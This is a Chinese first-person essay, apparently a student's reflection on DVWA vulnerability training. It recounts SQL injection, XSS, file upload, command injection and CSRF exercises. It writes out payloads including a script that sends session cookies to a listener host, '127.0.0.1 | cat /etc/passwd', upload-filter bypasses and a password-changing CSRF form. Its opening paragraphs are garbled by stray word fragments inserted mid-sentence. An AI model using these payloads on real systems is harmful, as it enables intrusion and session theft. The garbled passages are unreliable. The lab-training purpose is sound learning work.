DVWA的全漏low级别SQL注入,我输入 1' OR '1'='1,洞挖页面直接把所有用户信息吐了出来。掘利那一刻的用实感觉很奇怪——明明知道会这样,真看到时还是训报愣了一下。这不是全漏什么高深技术,但每年OWASP Top 10里注入类漏洞从没掉出过前几名。洞挖问题不在漏洞本身有多复杂,掘利而在写代码的用实人总觉得"用户输入不会那么坏"。
实训第一周我搭环境就花了整整一个下午。训报XAMPP装了三遍,全漏端口冲突、洞挖MySQL服务起不来、掘利phpMyAdmin报权限错误,用实全是训报些琐碎问题。后来换了Docker跑DVWA镜像,五分钟搞定。这件事让我意识到一个挺实际的问题:安全测试的门槛有时候不在技术本身,而在环境配置这种"脏活"上。很多人放弃不是因为学不会,是卡在了第一步。
SQL注入练完之后我转向XSS。反射型XSS最好理解——你构造一个带脚本的URL,发给别人,对方点了就中招。存储型XSS更有意思,留言板里写一段 <script>alert(document.cookie)</script>,每次有人访问这个页面都会弹窗。我在本地测试时用 document.location='http://192.168.1.100/steal?c='+document.cookie 把cookie传到自己搭的监听服务上,看到session id出现在日志里的瞬间,比看教程视频直观一百倍。
文件上传漏洞是我觉得最"暴力"的一类。DVWA里直接传一个 .php 文件就能拿到webshell,因为后端根本没做任何校验。稍微有点防护的站点会检查MIME类型或者扩展名,但绕过方式也多得离谱——改Content-Type、用 .phtml 替代 .php、在文件名末尾加空格或点号、利用解析漏洞……每一种绕过背后都是开发者的一个假设:"这样应该够了吧。"安全这件事,假设越多,窟窿越大。
命令注入让我印象最深。一个ping功能的输入框,正常输入IP地址返回延迟数据。我输入 127.0.0.1; whoami,服务器把当前用户权限直接告诉了我。再试试 127.0.0.1 | cat /etc/passwd,整个用户列表都出来了。这种漏洞的根因很简单:代码用 system() 或 exec() 直接拼接用户输入执行系统命令。修复方式也简单——别这么写。但偏偏这种写法在老旧系统里到处都是。
CSRF跟前面几种不太一样,它利用的是"浏览器会自动带上cookie"这个机制。我构造了一个页面,里面藏着一个向DVWA修改密码接口发POST请求的表单,受害者只要在登录状态下访问我的页面,密码就被改了。防御手段主要是token校验和Referer检查,但很多站点只做其中一个,甚至两个都没做。
两周实训下来,最大的感受不是"学会了多少种攻击手法",而是对输入验证这件事有了肌肉记忆般的警觉。现在我自己写代码,看到任何接收用户输入的地方,脑子里会自动过一遍:有没有参数化查询?有没有转义?有没有白名单限制?这种思维方式的改变,比记住几个payload有价值得多。
漏洞挖掘本质上是在找开发者思维里的盲区。工具能帮你扫出已知模式的问题,但逻辑漏洞、业务漏洞这些,还得靠人去理解系统怎么运转、数据怎么流动。实训结束了,DVWA的关卡刷完了,真实世界的靶场才刚刚开始。